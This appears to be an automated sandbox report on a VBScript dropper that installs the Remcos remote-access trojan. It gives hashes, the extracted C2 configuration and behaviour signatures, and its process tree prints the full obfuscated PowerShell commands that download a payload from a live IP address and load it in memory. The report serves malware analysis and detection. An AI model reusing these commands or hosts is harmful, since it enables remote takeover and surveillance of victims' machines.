Analysis

  • max time kernel
    150s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-11-2024 08:35

General

  • Target

    sostener.vbs

  • Size

    3.3MB

  • MD5

    619077e3c8387532a2d930e2b86c9ff7

  • SHA1

    081166adc2aed980d757c61687838f53ecaf4224

  • SHA256

    3c313c19ce509197f848990ef3837d2fdf55ed5d9eb2ddf2f1cd9f35e41bd664

  • SHA512

    cce42eacddd12c0a541eacb5a772b5a2b70844154c31264b82a846cda4db488d8142e3cb09caada11a16eceae16884577f439892b2c4465d04df9fffbcff3323

  • SSDEEP

    768:iooooLooooLooooLoooorooooLooooLooooLoooocooooLooooLooooLoooorooi:zDnM

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/AD/dll.txt

Extracted

Family

remcos

Botnet

RemoteHost

C2

remcosnov24.duckdns.org:4576

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    registros.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-0883UG

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Capturas de pantalla

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3536
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT☹Hk☹cwB0☹GU☹bQ☹u☹E4☹ZQB0☹C4☹UwBl☹HI☹dgBp☹GM☹ZQBQ☹G8☹aQBu☹HQ☹TQBh☹G4☹YQBn☹GU☹cgBd☹Do☹OgBT☹GU☹YwB1☹HI☹aQB0☹Hk☹U☹By☹G8☹d☹Bv☹GM☹bwBs☹C☹☹PQ☹g☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBO☹GU☹d☹☹u☹FM☹ZQBj☹HU☹cgBp☹HQ☹eQBQ☹HI☹bwB0☹G8☹YwBv☹Gw☹V☹B5☹H☹☹ZQBd☹Do☹OgBU☹Gw☹cw☹x☹DI☹Ow☹k☹EM☹QwBS☹Gg☹bQ☹g☹D0☹I☹☹n☹Gg☹d☹B0☹H☹☹Og☹v☹C8☹OQ☹x☹C4☹Mg☹w☹DI☹Lg☹y☹DM☹Mw☹u☹DE☹Ng☹5☹C8☹V☹Bh☹Gs☹LwBS☹GU☹Zw☹v☹E0☹YQBy☹Ho☹LwBE☹FI☹Rw☹v☹FI☹V☹BD☹C8☹QQBE☹C8☹Z☹Bs☹Gw☹LgB0☹Hg☹d☹☹n☹C☹☹Ow☹k☹EM☹WQBy☹Eo☹U☹☹g☹D0☹I☹☹o☹C☹☹WwBT☹Hk☹cwB0☹GU☹bQ☹u☹Ek☹Tw☹u☹F☹☹YQB0☹Gg☹XQ☹6☹Do☹RwBl☹HQ☹V☹Bl☹G0☹c☹BQ☹GE☹d☹Bo☹Cg☹KQ☹g☹Cs☹I☹☹n☹GQ☹b☹Bs☹D☹☹MQ☹u☹HQ☹e☹B0☹Cc☹I☹☹p☹C☹☹OwBJ☹G4☹dgBv☹Gs☹ZQ☹t☹Fc☹ZQBi☹FI☹ZQBx☹HU☹ZQBz☹HQ☹I☹☹t☹FU☹UgBJ☹C☹☹J☹BD☹EM☹UgBo☹G0☹I☹☹t☹E8☹dQB0☹EY☹aQBs☹GU☹I☹☹k☹EM☹WQBy☹Eo☹U☹☹g☹C0☹VQBz☹GU☹QgBh☹HM☹aQBj☹F☹☹YQBy☹HM☹aQBu☹Gc☹I☹☹7☹GM☹bQBk☹C4☹ZQB4☹GU☹I☹☹v☹GM☹I☹☹7☹H☹☹aQBu☹Gc☹I☹☹x☹DI☹Nw☹u☹D☹☹Lg☹w☹C4☹MQ☹g☹Ds☹I☹Bw☹G8☹dwBl☹HI☹cwBo☹GU☹b☹Bs☹C4☹ZQB4☹GU☹I☹☹t☹GM☹bwBt☹G0☹YQBu☹GQ☹I☹B7☹C☹☹J☹BD☹Fk☹cgBK☹F☹☹I☹☹9☹C☹☹K☹☹g☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBJ☹E8☹LgBQ☹GE☹d☹Bo☹F0☹Og☹6☹Ec☹ZQB0☹FQ☹ZQBt☹H☹☹U☹Bh☹HQ☹a☹☹o☹Ck☹I☹☹r☹C☹☹JwBk☹Gw☹b☹☹w☹DE☹LgB0☹Hg☹d☹☹n☹C☹☹KQ☹g☹Ds☹J☹Bn☹Ec☹aQBt☹EE☹I☹☹9☹C☹☹K☹☹g☹Ec☹ZQB0☹C0☹QwBv☹G4☹d☹Bl☹G4☹d☹☹g☹C0☹U☹Bh☹HQ☹a☹☹g☹CQ☹QwBZ☹HI☹SgBQ☹C☹☹KQ☹g☹Ds☹I☹B9☹C☹☹Ow☹k☹Hg☹awBs☹Gw☹a☹☹g☹D0☹I☹☹n☹D☹☹Jw☹g☹Ds☹J☹Bi☹H☹☹dgBy☹HY☹I☹☹9☹C☹☹Jw☹l☹Eo☹awBR☹GE☹cwBE☹GY☹ZwBy☹FQ☹Zw☹l☹Cc☹I☹☹7☹Fs☹QgB5☹HQ☹ZQBb☹F0☹XQ☹g☹CQ☹bQBx☹G8☹bgBz☹C☹☹PQ☹g☹Fs☹cwB5☹HM☹d☹Bl☹G0☹LgBD☹G8☹bgB2☹GU☹cgB0☹F0☹Og☹6☹EY☹cgBv☹G0☹QgBh☹HM☹ZQ☹2☹DQ☹UwB0☹HI☹aQBu☹Gc☹K☹☹g☹Cg☹I☹BH☹GU☹d☹☹t☹EM☹bwBu☹HQ☹ZQBu☹HQ☹I☹☹t☹F☹☹YQB0☹Gg☹I☹☹k☹EM☹WQBy☹Eo☹U☹☹g☹Ck☹LgBy☹GU☹c☹Bs☹GE☹YwBl☹Cg☹Jw☹k☹CQ☹Jw☹s☹Cc☹QQ☹n☹Ck☹I☹☹p☹C☹☹OwBb☹FM☹eQBz☹HQ☹ZQBt☹C4☹QQBw☹H☹☹R☹Bv☹G0☹YQBp☹G4☹XQ☹6☹Do☹QwB1☹HI☹cgBl☹G4☹d☹BE☹G8☹bQBh☹Gk☹bg☹u☹Ew☹bwBh☹GQ☹K☹☹k☹G0☹cQBv☹G4☹cw☹p☹C4☹RwBl☹HQ☹V☹B5☹H☹☹ZQ☹o☹Cc☹V☹Bl☹Gg☹dQBs☹GM☹a☹Bl☹HM☹W☹B4☹Fg☹e☹B4☹C4☹QwBs☹GE☹cwBz☹DE☹Jw☹p☹C4☹RwBl☹HQ☹TQBl☹HQ☹a☹Bv☹GQ☹K☹☹n☹E0☹cwBx☹EI☹SQBi☹Fk☹Jw☹p☹C4☹SQBu☹HY☹bwBr☹GU☹K☹☹k☹G4☹dQBs☹Gw☹L☹☹g☹Fs☹bwBi☹Go☹ZQBj☹HQ☹WwBd☹F0☹I☹☹o☹C☹☹JwBk☹EE☹Qg☹0☹EE☹S☹BR☹EE☹T☹Bn☹EI☹MgBB☹Ec☹O☹BB☹GI☹ZwBB☹DU☹QQBE☹EU☹QQBj☹Hc☹QgB2☹EE☹S☹BN☹EE☹T☹B3☹EI☹egBB☹Ec☹UQBB☹Fk☹UQBC☹HY☹QQBH☹Hc☹QQBi☹Gc☹Qg☹z☹EE☹Rw☹4☹EE☹WgBB☹EE☹dgBB☹EQ☹awBB☹E0☹UQBC☹Gw☹QQBI☹Ek☹QQBZ☹Gc☹QgB0☹EE☹RwBV☹EE☹YQBR☹EI☹MgBB☹Ec☹O☹BB☹GI☹ZwBB☹HY☹QQBD☹D☹☹QQBM☹FE☹QQ☹y☹EE☹R☹Bj☹EE☹TgBR☹EE☹M☹BB☹Eg☹SQBB☹GI☹dwBC☹D☹☹QQBH☹E0☹QQBa☹FE☹QgBv☹EE☹Qw☹4☹EE☹WgB3☹EI☹eQBB☹Ec☹O☹BB☹Ew☹ZwBC☹D☹☹QQBH☹FU☹QQBh☹Hc☹QgBq☹EE☹S☹BV☹EE☹WQBn☹EI☹M☹BB☹Ec☹awBB☹Fk☹ZwBB☹HY☹QQBD☹Dg☹QQBP☹Gc☹QgB6☹EE☹S☹BB☹EE☹Z☹BB☹EI☹M☹BB☹Ec☹ZwBB☹Cc☹I☹☹s☹C☹☹J☹Bi☹H☹☹dgBy☹HY☹I☹☹s☹C☹☹JwBf☹F8☹XwBf☹F8☹cwBj☹HM☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹LQ☹t☹C0☹LQ☹t☹C0☹LQ☹n☹Cw☹I☹☹k☹Hg☹awBs☹Gw☹a☹☹s☹C☹☹Jw☹x☹Cc☹L☹☹g☹Cc☹UgBv☹GQ☹YQ☹n☹C☹☹KQ☹p☹C☹☹Ow☹=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('☹','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell $Yolopolhggobek;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:544
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/AD/dll.txt' ;$CYrJP = ( [System.IO.Path]::GetTempPath() + 'dll01.txt' ) ;Invoke-WebRequest -URI $CCRhm -OutFile $CYrJP -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ; powershell.exe -command { $CYrJP = ( [System.IO.Path]::GetTempPath() + 'dll01.txt' ) ;$gGimA = ( Get-Content -Path $CYrJP ) ; } ;$xkllh = '0' ;$bpvrv = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs' ;[Byte[]] $mqons = [system.Convert]::FromBase64String( ( Get-Content -Path $CYrJP ).replace('$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($mqons).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ( 'dAB4AHQALgB2AG8AbgA5ADEAcwBvAHMALwBzAGQAYQBvAGwAbgB3AG8AZAAvADkAMQBlAHIAYgBtAGUAaQB2AG8AbgAvAC0ALQA2ADcANQA0AHIAbwB0AGMAZQBoAC8AZwByAG8ALgB0AGUAawBjAHUAYgB0AGkAYgAvAC8AOgBzAHAAdAB0AGgA' , $bpvrv , '_____scs_______________________________________-------', $xkllh, '1', 'Roda' )) ;"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3500
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c
          4⤵
            PID:3056
          • C:\Windows\system32\PING.EXE
            "C:\Windows\system32\PING.EXE" 127.0.0.1
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:4784
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand IAAkAEMAWQByAEoAUAAgAD0AIAAoACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAIAApACAAOwAkAGcARwBpAG0AQQAgAD0AIAAoACAARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABDAFkAcgBKAFAAIAApACAAOwAgAA== -inputFormat xml -outputFormat text
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3684
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
            4⤵
              PID:2344
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of SetWindowsHookEx
              PID:2108

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\remcos\registros.dat

        Filesize

        144B

        MD5

        1ae7492d11968e15ed69750f5e74c959

        SHA1

        65379798b45fac2b40297f1950825211cd9d8222

        SHA256

        7d6a4c21d0d2f8384eed54bbf88c170f036eeedc04bfd0bd6c8e8de2196f1893

        SHA512

        5a999d99c66b669b13fc01118e3fa328599ed104c1e0e08799e91364e2ccc00ea5aec7ef9a4671164fb6d849494e5ec715c339a9c68fb38b8c3af19dee395e78

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        6cf293cb4d80be23433eecf74ddb5503

        SHA1

        24fe4752df102c2ef492954d6b046cb5512ad408

        SHA256

        b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

        SHA512

        0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        337c07f569ad6ca7a65aa2555fd10732

        SHA1

        956325966fecfb059d8894a42d4eba1b2f41344b

        SHA256

        3a68a14b62309667f478e59337cf4573aa3a3a78c1f218ce62ac75d06673cfdc

        SHA512

        a32b6fb9b366c460eefc77bf28feba6ad305fd78099bd0e303a06634027d83dd95dadd85120a02414d5c45ec3ecc695d04429a1229a0ed7f9f166fa803a68283

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        64B

        MD5

        5caad758326454b5788ec35315c4c304

        SHA1

        3aef8dba8042662a7fcf97e51047dc636b4d4724

        SHA256

        83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

        SHA512

        4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bsrt20mm.bro.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\dll01.txt

        Filesize

        104KB

        MD5

        4f4cc2baf7a98aa5c29c3b21e48725cf

        SHA1

        c25ebcb9b400d9fdab1655e5666e986731397840

        SHA256

        1fe40914bf08072551be2995fa32e2567b9b394d0dfdb18a9ea99cc9cf3af001

        SHA512

        c46a7282c617e78922f2dbd64bba2ba2161b54320ed04a81428f152d2dd64a001d15b7a18bc2eba56579d5000d345b13d06c8e140e278f14be36dfaa87da5c8c

      • memory/544-9-0x0000020D28780000-0x0000020D287A2000-memory.dmp

        Filesize

        136KB

      • memory/544-11-0x00007FFEF6F00000-0x00007FFEF79C1000-memory.dmp

        Filesize

        10.8MB

      • memory/544-12-0x00007FFEF6F00000-0x00007FFEF79C1000-memory.dmp

        Filesize

        10.8MB

      • memory/544-0-0x00007FFEF6F03000-0x00007FFEF6F05000-memory.dmp

        Filesize

        8KB

      • memory/544-47-0x00007FFEF6F00000-0x00007FFEF79C1000-memory.dmp

        Filesize

        10.8MB

      • memory/2108-51-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2108-60-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2108-44-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2108-37-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2108-48-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2108-49-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2108-50-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2108-82-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2108-52-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2108-59-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2108-41-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2108-81-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2108-70-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2108-71-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3500-35-0x000001B2F3530000-0x000001B2F3546000-memory.dmp

        Filesize

        88KB

      • memory/3500-36-0x000001B2F45A0000-0x000001B2F45B6000-memory.dmp

        Filesize

        88KB